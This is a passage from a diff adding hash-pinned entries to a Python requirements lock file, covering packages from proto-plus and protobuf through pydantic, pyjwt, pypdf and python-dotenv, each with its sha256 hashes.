--hash=sha256:4d7af63f9f93fe593afbf104c21b3b15868efb2c21d07d8732c0c4287e66b6a6 \ + --hash=sha256:501d20b891688eb8e7aa903021f0b72d5a55db40ffaab27edefd1027caaafa61 \ + --hash=sha256:521a463429ef54143092c11a77e04056dd00636f72e8c45b70aaa3140d639726 \ + --hash=sha256:5558992a00dfd54ccbc64a32726a3357ec93825a418a401f5cc67df0ac5d9e49 \ + --hash=sha256:55c72fd6ea2da4c318e74ffdf93c4fe4e926051133657459131a95c846d16d44 \ + --hash=sha256:564d9f0d4d9509e1a870c920a89b2fec951b44bf5ba7d537a9e7c1ccec2c18af \ + --hash=sha256:580e97762b950f993ae618e167e7be9256b8353c2dcd8b99ec100eb50f5286aa \ + --hash=sha256:5a103c3eb905fcea0ab98be99c3a9a5ab2de60228aa5aceedc614c0281cf6153 \ + --hash=sha256:5c3310452e0d31390da9035c348633b43d7e7feb2e37be252be6da45abd1abcc \ + --hash=sha256:5d4e2366a9c7b837555cf02fb9be2e3167d333aff716332ef1b7c3a142ec40c5 \ + --hash=sha256:5fd37c406dd6dc85aa743e214cef35dc54bbdd1419baac4f6ae5e5b1a2976938 \ + --hash=sha256:60a8fda9644b7dfd5dece8c61d8a85e271cb958075bfc4e01083c148b61a7caf \ + --hash=sha256:66c1f011f45a3b33d7bcb22daed4b29c0c9e2224758b6be00686731e1b46f925 \ + --hash=sha256:671538c2262dadb5ba6395e26c1731e1d52534bfe9ae56d0b5573ce539266aa8 \ + --hash=sha256:678ae89ebc632c5c204c794f8dab2837c5f159aeb59e6ed0539500400577298c \ + --hash=sha256:67fad6162281e80e882fb3ec355398cf72864a54069d060321f6cd0ade95fe85 \ + --hash=sha256:6918ecbd897443087a3b7cd978d56546a812517dcaaca51b49526720571fa93e \ + --hash=sha256:6f6ff873ed40292cd4969ef5310179afd5db59fdf055897e282485043fc80ad0 \ + --hash=sha256:6f8b465489f927b0df505cbe26ffbeed4d6d8a2bbc61ce90eb074ff129ef0ab1 \ + --hash=sha256:71b749281b816793678ae7f3d0d84bd36e694953822eaad408d682efc5ca18e0 \ + --hash=sha256:74c1fb26515153e482e00177a1ad654721bf9207da8a494a0c05e797ad27b992 \ + --hash=sha256:7c2d1fa3201efaf55d730400d945b5b3ab6e672e100ba0f9a409d950ab25d7db \ + --hash=sha256:824e908bce90fb2743bd6b59db36eb4f45cd350a39637c9f73b1c1ea66f5b75f \ + --hash=sha256:8326e144341460402713f91df60ade3c999d601e7eb5ff8f6f7862d54de0610d \ + --hash=sha256:8873eb4460fd55333ea49b7d189749ecf6e55bf85080f11b1c4530ed3034cba1 \ + --hash=sha256:89eb3fa9524f7bec9de6e83cf3faed9d79bffa560672c118a96a171a6f55831e \ + --hash=sha256:8c9b3cbe4584636d72ff556d9036e0c9317fa27b3ac1f0f558e7e84d1c9c5900 \ + --hash=sha256:8e57061305815dfc910a3634dcf584f08168a8836e6999983569f51a8544cd89 \ + --hash=sha256:929d7cbe1f01bb7baffb33dc14eb5691c95831450a26354cd210a8155170c93a \ + --hash=sha256:92d1935ee1f8d7442da9c0c4fa7ac20d07e94064184811b685f5c4fada64553b \ + --hash=sha256:948dab269721ae9a87fd16c514a0a2c2a1bdb23a9a61b969b0f9d9ee2968546f \ + --hash=sha256:981333cb2f4c1896a12f4ab92a9cc8f09ea664e9b7dbdc4eff74627af3a11c0f \ + --hash=sha256:990f6b3e2a27d683cb7602ed6c86f15ee6b43b1194736f9baaeb93d0016633b1 \ + --hash=sha256:99d43339c83aaf4d32bda60928231848eee470c6bda8d02599cc4cebe872d183 \ + --hash=sha256:9a0bd56e5b100aef69bd8562b74b46254e7c8812918d3baa700c8a8009b0af66 \ + --hash=sha256:9a52009f2adffe195d0b605c25ec929d26b36ef986ba85244891dee3b294df21 \ + --hash=sha256:9d2b6caef873b4f09e26ea7e33d65f42b944837563a47a94719cc3544319a0db \ + --hash=sha256:9f302f4783709a78240ebc311b793f123328716a60911d667e0c036bc5dcbded \ + --hash=sha256:a0ee98db9c5f80785b266eb805016e36058ac72c51a064040f2bc43b61101cdb \ + --hash=sha256:a129e76735bc792794d5177069691c3217898b9f5cee2b2661471e52ffe13f19 \ + --hash=sha256:a78372c932c90ee474559c5ddfffd718238e8673c340dc21fe45c5b8b54559a0 \ + --hash=sha256:a9695397f85973bb40427dedddf70d8dc4a44b22f1650dd4af9eedf443d45165 \ + --hash=sha256:ab08df6c9a035bee56e31af99be621526bd237bea9f32def431c656b29e41778 \ + --hash=sha256:ab2943be7c652f09638800905ee1bab2c544e537edb57d527997a24c13dc1455 \ + --hash=sha256:ab4c29b49d560fe48b696cdcb127dd36e0bc2472548f3bf56cc5cb3da2b2984f \ + --hash=sha256:af223b406d6d000830c6f65f1e6431783fc3f713ba3e6cc8c024d5ee96170a4b \ + --hash=sha256:af2a6052aeb6cf17d3e46ee169099044fd8224cbaf75c76a2ef596e8163e2237 \ + --hash=sha256:bcc9aaa5d80322bc2fb24bb7accb4a30f81e90ab8d6ba187aec0744bc302ad81 \ + --hash=sha256:c07fda85708bc48578467e85099645167a955ba093be0a2dcba962195676e859 \ + --hash=sha256:c0d4b719b7da33599dfe3b22d3db1ef789210a0597bc650b7cee9c77c2be8c5c \ + --hash=sha256:c0ef0aaafc66fbd87842a3fe3902fd889825646bc21149eafe47be6072725835 \ + --hash=sha256:c2b5e7db5328427c57c8e8831abda175421b709672f6cfc3d630c3b7e2146393 \ + --hash=sha256:c30b53e7e6bda1d547cabb47c825f3843a0a1a42b0496087bb58d8fedf9f41b5 \ + --hash=sha256:c80ee5802e3fb9ea37938e7eecc307fb984837091d5fd262bb37238b1ae97641 \ + --hash=sha256:c9b822a577f560fbd9554812526831712c1436d2c046cedee4c3796d3543b144 \ + --hash=sha256:cae65ad55793da34db5f54e4029b89d3b9b9490d8abe1b4c7ab5d4b8ec7ebf74 \ + --hash=sha256:cb2d222e72399fcf5890d1d5cc1060857b9b236adff2792ff48ca2dfd46c81db \ + --hash=sha256:cbc3b6dfc728105b2a57c06791eb07a94229202ea75c59db644d7d496b698cac \ + --hash=sha256:cd547953428f7abb73c5ad82cbb32109566204260d98e41e5dfdc682eb7f8403 \ + --hash=sha256:cfc27c945f422e8b5071b6e93169679e4eb5bf73bbcbf1ba3ae3a83d2f78ebd9 \ + --hash=sha256:d472aeb4fbf9865e0c6d622d7f4d54a4e101a89715d8904282bb5f9a2f476c3f \ + --hash=sha256:d62cdfcfd89ccb8de04e0eda998535c406bf5e060ffd56be6c586cbcc05b3311 \ + --hash=sha256:d82ad62b19645419fe79dd63b3f9253e15b30e955c0170e5cebc350c1844e581 \ + --hash=sha256:d8f353eb14ee3441ee844ade4277d560cdd68288838673273b978e3d6d2c8f36 \ + --hash=sha256:daede9cd44e0f8bdd9e6cc9a607fc81feb80fae7a5fc6cecaff0e0bb32e42d00 \ + --hash=sha256:db65d2af507bbfbdcedb254a11149f894169d90488dd3e7190f7cdcb2d6cd57a \ + --hash=sha256:dee69d7015dc235f526fe80a9c90d65eb0039103fe565776250881731f06349f \ + --hash=sha256:e153e9cd40cc8945138822807139367f256f89c6810c2634a4f6902b52d3b4e2 \ + --hash=sha256:e35b88984e7fa64aacecea39236cee32dd9bd8c55f57ba8a75cf2399553f9bd7 \ + --hash=sha256:e53f3a38d3510c11953f3e6a33f205c6d1b001129f972805ca9b42fc308bc239 \ + --hash=sha256:e9b0d8d0845bbc4cfcdcbcdbf5086886bc8157aa963c31c777ceff7846c77757 \ + --hash=sha256:ec17c65562a827bba85e3872ead335f95405ea1674860d96483a02f5c698fa72 \ + --hash=sha256:ecef2343af4cc68e05131e45024ba34f6095821988a9d0a02aa7c73fcc448aa9 \ + --hash=sha256:ed5a841e8bb29a55fb8159ed526b26adc5bdd7e8bd7bf793ce647cb08656cdf4 \ + --hash=sha256:ee17f18d2498f2673e432faaa71698032b0127ebf23ae5974eeaf806c279df24 \ + --hash=sha256:f048da1b4f243fc44f205dfd320933a951b8d89e0afd4c7cacc762a8b9165207 \ + --hash=sha256:f10207adf04d08bec185bae14d9606a1444715bc99180f9331c9c02093e1959e \ + --hash=sha256:f1d2f90aeec838a52f1c1a32fe9a619fefd5e411721a9117fbf82aea638fe8a1 \ + --hash=sha256:f48107a8c637e80362555f37ecf49abe20370e557cc4ab374f04ec4423c97c3d \ + --hash=sha256:f7ee0e597f495cf415bcbd3da3caa3bd7e816b74d0d52b8145954c5e6fd3ff37 \ + --hash=sha256:f93243fdc5657247533273ac4f86ae106cc6445a0efacb9a1bfe982fcfefd90c \ + --hash=sha256:f95393b4d66bfae908c3ca8d169d5f79cd65636ae15b5e7a4f6e67af675adb0e \ + --hash=sha256:fc38cba02d1acba4e2869eef1a57a43dfbd3d49a59bf90dda7444ec2be6a5570 \ + --hash=sha256:fd0858c20f078a32cf55f7e81473d96dcf3b93fd2ccdb3d40fdf54b8573df3af \ + --hash=sha256:fd138803047fb4c062b1c1dd95462f5209456bfab55c734458f15d11da288f8f \ + --hash=sha256:fd2dbc472da1f772a4dae4fa24be938a6c544671a912e30529984dd80400cd88 \ + --hash=sha256:fd6f30fdcf9ae2a70abd34da54f18da086160e4d7d9251f81f3da0ff84fc5a48 \ + --hash=sha256:fe49d0a85038f36ba9e3ffafa1103e61170b28e95b16622e11be0a0ea07c6781 +proto-plus==1.26.1 \ + --hash=sha256:13285478c2dcf2abb829db158e1047e2f1e8d63a077d94263c2b88b043c75a66 \ + --hash=sha256:21a515a4c4c0088a773899e23c7bbade3d18f9c66c73edd4c7ee3816bc96a012 +protobuf==6.33.5 \ + --hash=sha256:3093804752167bcab3998bec9f1048baae6e29505adaf1afd14a37bddede533c \ + --hash=sha256:69915a973dd0f60f31a08b8318b73eab2bd6a392c79184b3612226b0a3f8ec02 \ + --hash=sha256:6ddcac2a081f8b7b9642c09406bc6a4290128fce5f471cddd165960bb9119e5c \ + --hash=sha256:8afa18e1d6d20af15b417e728e9f60f3aa108ee76f23c3b2c07a2c3b546d3afd \ + --hash=sha256:8f04fa32763dcdb4973d537d6b54e615cc61108c7cb38fe59310c3192d29510a \ + --hash=sha256:9b71e0281f36f179d00cbcb119cb19dec4d14a81393e5ea220f64b286173e190 \ + --hash=sha256:a3157e62729aafb8df6da2c03aa5c0937c7266c626ce11a278b6eb7963c4e37c \ + --hash=sha256:a5cb85982d95d906df1e2210e58f8e4f1e3cdc088e52c921a041f9c9a0386de5 \ + --hash=sha256:cbf16ba3350fb7b889fca858fb215967792dc125b35c7976ca4818bee3521cf0 \ + --hash=sha256:d71b040839446bac0f4d162e758bea99c8251161dae9d0983a3b88dee345153b +psutil==7.2.2 \ + --hash=sha256:0746f5f8d406af344fd547f1c8daa5f5c33dbc293bb8d6a16d80b4bb88f59372 \ + --hash=sha256:076a2d2f923fd4821644f5ba89f059523da90dc9014e85f8e45a5774ca5bc6f9 \ + --hash=sha256:11fe5a4f613759764e79c65cf11ebdf26e33d6dd34336f8a337aa2996d71c841 \ + --hash=sha256:1a571f2330c966c62aeda00dd24620425d4b0cc86881c89861fbc04549e5dc63 \ + --hash=sha256:1a7b04c10f32cc88ab39cbf606e117fd74721c831c98a27dc04578deb0c16979 \ + --hash=sha256:1fa4ecf83bcdf6e6c8f4449aff98eefb5d0604bf88cb883d7da3d8d2d909546a \ + --hash=sha256:2edccc433cbfa046b980b0df0171cd25bcaeb3a68fe9022db0979e7aa74a826b \ + --hash=sha256:7b6d09433a10592ce39b13d7be5a54fbac1d1228ed29abc880fb23df7cb694c9 \ + --hash=sha256:8c233660f575a5a89e6d4cb65d9f938126312bca76d8fe087b947b3a1aaac9ee \ + --hash=sha256:917e891983ca3c1887b4ef36447b1e0873e70c933afc831c6b6da078ba474312 \ + --hash=sha256:ab486563df44c17f5173621c7b198955bd6b613fb87c71c161f827d3fb149a9b \ + --hash=sha256:ae0aefdd8796a7737eccea863f80f81e468a1e4cf14d926bd9b6f5f2d5f90ca9 \ + --hash=sha256:b0726cecd84f9474419d67252add4ac0cd9811b04d61123054b9fb6f57df6e9e \ + --hash=sha256:b58fabe35e80b264a4e3bb23e6b96f9e45a3df7fb7eed419ac0e5947c61e47cc \ + --hash=sha256:c7663d4e37f13e884d13994247449e9f8f574bc4655d509c3b95e9ec9e2b9dc1 \ + --hash=sha256:e452c464a02e7dc7822a05d25db4cde564444a67e58539a00f929c51eddda0cf \ + --hash=sha256:e78c8603dcd9a04c7364f1a3e670cea95d51ee865e4efb3556a3a63adef958ea \ + --hash=sha256:eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988 \ + --hash=sha256:ed0cace939114f62738d808fdcecd4c869222507e266e574799e9c0faa17d486 \ + --hash=sha256:eed63d3b4d62449571547b60578c5b2c4bcccc5387148db46e0c2313dad0ee00 \ + --hash=sha256:fd04ef36b4a6d599bbdb225dd1d3f51e00105f6d48a28f006da7f9822f2606d8 +py-key-value-aio==0.4.4 \ + --hash=sha256:18e17564ecae61b987f909fc2cd41ee2012c84b4b1dcb8c055cf8b4bc1bf3f5d \ + --hash=sha256:e3012e6243ed7cc09bb05457bd4d03b1ba5c2b1ca8700096b3927db79ffbbe55 +pyasn1==0.6.4 \ + --hash=sha256:9c447d8431c947fe4c8febc4ed9e760bc29011a5b01e5c74b67025bd9fb8ce81 \ + --hash=sha256:deda9277cfd454080ec40b207fb6df82206a3a2688735233cdcd8d3d565f088b +pyasn1-modules==0.4.2 \ + --hash=sha256:29253a9207ce32b64c3ac6600edc75368f98473906e8fd1043bd6b5b1de2c14a \ + --hash=sha256:677091de870a80aae844b1ca6134f54652fa2c8c5a52aa396440ac3106e941e6 +pycparser==2.23 \ + --hash=sha256:78816d4f24add8f10a06d6f05b4d424ad9e96cfebf68a4ddc99c65c0720d00c2 \ + --hash=sha256:e5c6e8d3fbad53479cab09ac03729e0a9faf2bee3db8208a550daf5af81a5934 +pydantic==2.12.5 \ + --hash=sha256:4d351024c75c0f085a9febbb665ce8c0c6ec5d30e903bdb6394b7ede26aebb49 \ + --hash=sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f221ad1f0139180f9d +pydantic-core==2.41.5 \ + --hash=sha256:0177272f88ab8312479336e1d777f6b124537d47f2123f89cb37e0accea97f90 \ + --hash=sha256:01a3d0ab748ee531f4ea6c3e48ad9dac84ddba4b0d82291f87248f2f9de8d740 \ + --hash=sha256:0384e2e1021894b1ff5a786dbf94771e2986ebe2869533874d7e43bc79c6f504 \ + --hash=sha256:03b77d184b9eb40240ae9fd676ca364ce1085f203e1b1256f8ab9984dca80a84 \ + --hash=sha256:03ca43e12fab6023fc79d28ca6b39b05f794ad08ec2feccc59a339b02f2b3d33 \ + --hash=sha256:05a2c8852530ad2812cb7914dc61a1125dc4e06252ee98e5638a12da6cc6fb6c \ + --hash=sha256:070259a8818988b9a84a449a2a7337c7f430a22acc0859c6b110aa7212a6d9c0 \ + --hash=sha256:08daa51ea16ad373ffd5e7606252cc32f07bc72b28284b6bc9c6df804816476e \ + --hash=sha256:0cbaad15cb0c90aa221d43c00e77bb33c93e8d36e0bf74760cd00e732d10a6a0 \ + --hash=sha256:100baa204bb412b74fe285fb0f3a385256dad1d1879f0a5cb1499ed2e83d132a \ + --hash=sha256:112e305c3314f40c93998e567879e887a3160bb8689ef3d2c04b6cc62c33ac34 \ + --hash=sha256:16f80f7abe3351f8ea6858914ddc8c77e02578544a0ebc15b4c2e1a0e813b0b2 \ + --hash=sha256:1746d4a3d9a794cacae06a5eaaccb4b8643a131d45fbc9af23e353dc0a5ba5c3 \ + --hash=sha256:1962293292865bca8e54702b08a4f26da73adc83dd1fcf26fbc875b35d81c815 \ + --hash=sha256:1d1d9764366c73f996edd17abb6d9d7649a7eb690006ab6adbda117717099b14 \ + --hash=sha256:1f8d33a7f4d5a7889e60dc39856d76d09333d8a6ed0f5f1190635cbec70ec4ba \ + --hash=sha256:22f0fb8c1c583a3b6f24df2470833b40207e907b90c928cc8d3594b76f874375 \ + --hash=sha256:239edca560d05757817c13dc17c50766136d21f7cd0fac50295499ae24f90fdf \ + --hash=sha256:242a206cd0318f95cd21bdacff3fcc3aab23e79bba5cac3db5a841c9ef9c6963 \ + --hash=sha256:25e1c2af0fce638d5f1988b686f3b3ea8cd7de5f244ca147c777769e798a9cd1 \ + --hash=sha256:266fb4cbf5e3cbd0b53669a6d1b039c45e3ce651fd5442eff4d07c2cc8d66808 \ + --hash=sha256:2782c870e99878c634505236d81e5443092fba820f0373997ff75f90f68cd553 \ + --hash=sha256:287dad91cfb551c363dc62899a80e9e14da1f0e2b6ebde82c806612ca2a13ef1 \ + --hash=sha256:29452c56df2ed968d18d7e21f4ab0ac55e71dc59524872f6fc57dcf4a3249ed2 \ + --hash=sha256:299e0a22e7ae2b85c1a57f104538b2656e8ab1873511fd718a1c1c6f149b77b5 \ + --hash=sha256:2a5e06546e19f24c6a96a129142a75cee553cc018ffee48a460059b1185f4470 \ + --hash=sha256:2b761d210c9ea91feda40d25b4efe82a1707da2ef62901466a42492c028553a2 \ + --hash=sha256:2c010c6ded393148374c0f6f0bf89d206bf3217f201faa0635dcd56bd1520f6b \ + --hash=sha256:2ff4321e56e879ee8d2a879501c8e469414d948f4aba74a2d4593184eb326660 \ + --hash=sha256:3006c3dd9ba34b0c094c544c6006cc79e87d8612999f1a5d43b769b89181f23c \ + --hash=sha256:33cb885e759a705b426baada1fe68cbb0a2e68e34c5d0d0289a364cf01709093 \ + --hash=sha256:346285d28e4c8017da95144c7f3acd42740d637ff41946af5ce6e5e420502dd5 \ + --hash=sha256:34a64bc3441dc1213096a20fe27e8e128bd3ff89921706e83c0b1ac971276594 \ + --hash=sha256:35b44f37a3199f771c3eaa53051bc8a70cd7b54f333531c59e29fd4db5d15008 \ + --hash=sha256:378bec5c66998815d224c9ca994f1e14c0c21cb95d2f52b6021cc0b2a58f2a5a \ + --hash=sha256:3f37a19d7ebcdd20b96485056ba9e8b304e27d9904d233d7b1015db320e51f0a \ + --hash=sha256:3f84d5c1b4ab906093bdc1ff10484838aca54ef08de4afa9de0f5f14d69639cd \ + --hash=sha256:4009935984bd36bd2c774e13f9a09563ce8de4abaa7226f5108262fa3e637284 \ + --hash=sha256:406bf18d345822d6c21366031003612b9c77b3e29ffdb0f612367352aab7d586 \ + --hash=sha256:4819fa52133c9aa3c387b3328f25c1facc356491e6135b459f1de698ff64d869 \ + --hash=sha256:482c982f814460eabe1d3bb0adfdc583387bd4691ef00b90575ca0d2b6fe2294 \ + --hash=sha256:4bc36bbc0b7584de96561184ad7f012478987882ebf9f9c389b23f432ea3d90f \ + --hash=sha256:506d766a8727beef16b7adaeb8ee6217c64fc813646b424d0804d67c16eddb66 \ + --hash=sha256:56121965f7a4dc965bff783d70b907ddf3d57f6eba29b6d2e5dabfaf07799c51 \ + --hash=sha256:58133647260ea01e4d0500089a8c4f07bd7aa6ce109682b1426394988d8aaacc \ + --hash=sha256:5921a4d3ca3aee735d9fd163808f5e8dd6c6972101e4adbda9a4667908849b97 \ + --hash=sha256:5a4e67afbc95fa5c34cf27d9089bca7fcab4e51e57278d710320a70b956d1b9a \ + --hash=sha256:5cb1b2f9742240e4bb26b652a5aeb840aa4b417c7748b6f8387927bc6e45e40d \ + --hash=sha256:62de39db01b8d593e45871af2af9e497295db8d73b085f6bfd0b18c83c70a8f9 \ + --hash=sha256:634e8609e89ceecea15e2d61bc9ac3718caaaa71963717bf3c8f38bfde64242c \ + --hash=sha256:63510af5e38f8955b8ee5687740d6ebf7c2a0886d15a6d65c32814613681bc07 \ + --hash=sha256:650ae77860b45cfa6e2cdafc42618ceafab3a2d9a3811fcfbd3bbf8ac3c40d36 \ + --hash=sha256:6561e94ba9dacc9c61bce40e2d6bdc3bfaa0259d3ff36ace3b1e6901936d2e3e \ + --hash=sha256:65840751b72fbfd82c3c640cff9284545342a4f1eb1586ad0636955b261b0b05 \ + --hash=sha256:6cb58b9c66f7e4179a2d5e0f849c48eff5c1fca560994d6eb6543abf955a149e \ + --hash=sha256:6f52298fbd394f9ed112d56f3d11aabd0d5bd27beb3084cc3d8ad069483b8941 \ + --hash=sha256:707625ef0983fcfb461acfaf14de2067c5942c6bb0f3b4c99158bed6fedd3cf3 \ + --hash=sha256:72f6c8b11857a856bcfa48c86f5368439f74453563f951e473514579d44aa612 \ + --hash=sha256:753e230374206729bf0a807954bcc6c150d3743928a73faffee51ac6557a03c3 \ + --hash=sha256:76d0819de158cd855d1cbb8fcafdf6f5cf1eb8e470abe056d5d161106e38062b \ + --hash=sha256:76ee27c6e9c7f16f47db7a94157112a2f3a00e958bc626e2f4ee8bec5c328fbe \ + --hash=sha256:77b63866ca88d804225eaa4af3e664c5faf3568cea95360d21f4725ab6e07146 \ + --hash=sha256:79ec52ec461e99e13791ec6508c722742ad745571f234ea6255bed38c6480f11 \ + --hash=sha256:7b93a4d08587e2b7e7882de461e82b6ed76d9026ce91ca7915e740ecc7855f60 \ + --hash=sha256:7da7087d756b19037bc2c06edc6c170eeef3c3bafcb8f532ff17d64dc427adfd \ + --hash=sha256:7f3bf998340c6d4b0c9a2f02d6a400e51f123b59565d74dc60d252ce888c260b \ + --hash=sha256:80aa89cad80b32a912a65332f64a4450ed00966111b6615ca6816153d3585a8c \ + --hash=sha256:8566def80554c3faa0e65ac30ab0932b9e3a5cd7f8323764303d468e5c37595a \ + --hash=sha256:873e0d5b4fb9b89ef7c2d2a963ea7d02879d9da0da8d9d4933dee8ee86a8b460 \ + --hash=sha256:88942d3a3dff3afc8288c21e565e476fc278902ae4d6d134f1eeda118cc830b1 \ + --hash=sha256:8bfeaf8735be79f225f3fefab7f941c712aaca36f1128c9d7e2352ee1aa87bdf \ + --hash=sha256:8e7c86f27c585ef37c35e56a96363ab8de4e549a95512445b85c96d3e2f7c1bf \ + --hash=sha256:915c3d10f81bec3a74fbd4faebe8391013ba61e5a1a8d48c4455b923bdda7858 \ + --hash=sha256:93e8740d7503eb008aa2df04d3b9735f845d43ae845e6dcd2be0b55a2da43cd2 \ + --hash=sha256:941103c9be18ac8daf7b7adca8228f8ed6bb7a1849020f643b3a14d15b1924d9 \ + --hash=sha256:97aeba56665b4c3235a0e52b2c2f5ae9cd071b8a8310ad27bddb3f7fb30e9aa2 \ + --hash=sha256:a39455728aabd58ceabb03c90e12f71fd30fa69615760a075b9fec596456ccc3 \ + --hash=sha256:a3a52f6156e73e7ccb0f8cced536adccb7042be67cb45f9562e12b319c119da6 \ + --hash=sha256:a668ce24de96165bb239160b3d854943128f4334822900534f2fe947930e5770 \ + --hash=sha256:a75dafbf87d6276ddc5b2bf6fae5254e3d0876b626eb24969a574fff9149ee5d \ + --hash=sha256:aabf5777b5c8ca26f7824cb4a120a740c9588ed58df9b2d196ce92fba42ff8dc \ + --hash=sha256:aec5cf2fd867b4ff45b9959f8b20ea3993fc93e63c7363fe6851424c8a7e7c23 \ + --hash=sha256:b2379fa7ed44ddecb5bfe4e48577d752db9fc10be00a6b7446e9663ba143de26 \ + --hash=sha256:b4ececa40ac28afa90871c2cc2b9ffd2ff0bf749380fbdf57d165fd23da353aa \ + --hash=sha256:b5819cd790dbf0c5eb9f82c73c16b39a65dd6dd4d1439dcdea7816ec9adddab8 \ + --hash=sha256:b74557b16e390ec12dca509bce9264c3bbd128f8a2c376eaa68003d7f327276d \ + --hash=sha256:b80aa5095cd3109962a298ce14110ae16b8c1aece8b72f9dafe81cf597ad80b3 \ + --hash=sha256:b93590ae81f7010dbe380cdeab6f515902ebcbefe0b9327cc4804d74e93ae69d \ + --hash=sha256:b96d5f26b05d03cc60f11a7761a5ded1741da411e7fe0909e27a5e6a0cb7b034 \ + --hash=sha256:bd3d54f38609ff308209bd43acea66061494157703364ae40c951f83ba99a1a9 \ + --hash=sha256:bfea2a5f0b4d8d43adf9d7b8bf019fb46fdd10a2e5cde477fbcb9d1fa08c68e1 \ + --hash=sha256:c007fe8a43d43b3969e8469004e9845944f1a80e6acd47c150856bb87f230c56 \ + --hash=sha256:c1df3d34aced70add6f867a8cf413e299177e0c22660cc767218373d0779487b \ + --hash=sha256:c23e27686783f60290e36827f9c626e63154b82b116d7fe9adba1fda36da706c \ + --hash=sha256:c8d8b4eb992936023be7dee581270af5c6e0697a8559895f527f5b7105ecd36a \ + --hash=sha256:c9e19dd6e28fdcaa5a1de679aec4141f691023916427ef9bae8584f9c2fb3b0e \ + --hash=sha256:d0d2568a8c11bf8225044aa94409e21da0cb09dcdafe9ecd10250b2baad531a9 \ + --hash=sha256:d38548150c39b74aeeb0ce8ee1d8e82696f4a4e16ddc6de7b1d8823f7de4b9b5 \ + --hash=sha256:d3a978c4f57a597908b7e697229d996d77a6d3c94901e9edee593adada95ce1a \ + --hash=sha256:d5160812ea7a8a2ffbe233d8da666880cad0cbaf5d4de74ae15c313213d62556 \ + --hash=sha256:dc799088c08fa04e43144b164feb0c13f9a0bc40503f8df3e9fde58a3c0c101e \ + --hash=sha256:df3959765b553b9440adfd3c795617c352154e497a4eaf3752555cfb5da8fc49 \ + --hash=sha256:dfa8a0c812ac681395907e71e1274819dec685fec28273a28905df579ef137e2 \ + --hash=sha256:e25c479382d26a2a41b7ebea1043564a937db462816ea07afa8a44c0866d52f9 \ + --hash=sha256:e4f4a984405e91527a0d62649ee21138f8e3d0ef103be488c1dc11a80d7f184b \ + --hash=sha256:e536c98a7626a98feb2d3eaf75944ef6f3dbee447e1f841eae16f2f0a72d8ddc \ + --hash=sha256:e56ba91f47764cc14f1daacd723e3e82d1a89d783f0f5afe9c364b8bb491ccdb \ + --hash=sha256:e672ba74fbc2dc8eea59fb6d4aed6845e6905fc2a8afe93175d94a83ba2a01a0 \ + --hash=sha256:e7b576130c69225432866fe2f4a469a85a54ade141d96fd396dffcf607b558f8 \ + --hash=sha256:e8465ab91a4bd96d36dde3263f06caa6a8a6019e4113f24dc753d79a8b3a3f82 \ + --hash=sha256:e96cea19e34778f8d59fe40775a7a574d95816eb150850a85a7a4c8f4b94ac69 \ + --hash=sha256:ece5c59f0ce7d001e017643d8d24da587ea1f74f6993467d85ae8a5ef9d4f42b \ + --hash=sha256:eceb81a8d74f9267ef4081e246ffd6d129da5d87e37a77c9bde550cb04870c1c \ + --hash=sha256:ed2e99c456e3fadd05c991f8f437ef902e00eedf34320ba2b0842bd1c3ca3a75 \ + --hash=sha256:f0cd744688278965817fd0839c4a4116add48d23890d468bc436f78beb28abf5 \ + --hash=sha256:f14f8f046c14563f8eb3f45f499cc658ab8d10072961e07225e507adb700e93f \ + --hash=sha256:f15489ba13d61f670dcc96772e733aad1a6f9c429cc27574c6cdaed82d0146ad \ + --hash=sha256:f31d95a179f8d64d90f6831d71fa93290893a33148d890ba15de25642c5d075b \ + --hash=sha256:f41a7489d32336dbf2199c8c0a215390a751c5b014c2c1c5366e817202e9cdf7 \ + --hash=sha256:f41eb9797986d6ebac5e8edff36d5cef9de40def462311b3eb3eeded1431e425 \ + --hash=sha256:f547144f2966e1e16ae626d8ce72b4cfa0caedc7fa28052001c94fb2fcaa1c52 +pydantic-settings==2.11.0 \ + --hash=sha256:d0e87a1c7d33593beb7194adb8470fc426e95ba02af83a0f23474a04c9a08180 \ + --hash=sha256:fe2cea3413b9530d10f3a5875adffb17ada5c1e1bab0b2885546d7310415207c +pygments==2.20.0 \ + --hash=sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f \ + --hash=sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176 +pyjwt==2.15.0 \ + --hash=sha256:7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8 \ + --hash=sha256:b11c5f9791d7bf51c2b39a81ed669f6b2dbbd669df2942f6c60167e9e3d1abe4 +pyotp==2.9.0 \ + --hash=sha256:346b6642e0dbdde3b4ff5a930b664ca82abfa116356ed48cc42c7d6590d36f63 \ + --hash=sha256:81c2e5865b8ac55e825b0358e496e1d9387c811e85bb40e71a3b29b288963612 +pyparsing==3.2.5 \ + --hash=sha256:2df8d5b7b2802ef88e8d016a2eb9c7aeaa923529cd251ed0fe4608275d4105b6 \ + --hash=sha256:e38a4f02064cf41fe6593d328d0512495ad1f3d8a91c4f73fc401b3079a59a5e +pypdf==6.19.0 \ + --hash=sha256:7e5d6e730e7dae87d560a2cee218b852f6498c8be61966f3cd02ead971e48d14 \ + --hash=sha256:bbc43aca292369ccc6cbc8a921991ecf2538a3587ab5a116eff06c321d647155 +pyperclip==1.11.0 \ + --hash=sha256:244035963e4428530d9e3a6101a1ef97209c6825edab1567beac148ccc1db1b6 \ + --hash=sha256:299403e9ff44581cb9ba2ffeed69c7aa96a008622ad0c46cb575ca75b5b84273 +python-dateutil==2.9.0.post0 \ + --hash=sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3 \ + --hash=sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427 +python-docx==1.2.0 \ + --hash=sha256:3fd478f3250fbbbfd3b94fe1e985955737c145627498896a8a6bf81f4baf66c7 \ + --hash=sha256:7bc9d7b7d8a69c9c02ca09216118c86552704edc23bac179283f2e38f86220ce +python-dotenv==1.2.2 \ + --hash=sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a \ + --hash=sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3 +python-frontmatter==1.1.0 \ + --hash=sha256:335465556358d9d0e6c98bbeb69b1c969f2a4a21360587b9873bfc3b213407c1 \ + --hash=sha256:7118d2bd56af9149625745c58c9b51fb67e8d1294a0c76796dafdc72c36e5f6d +python-json-logger==4.0.0 \ + 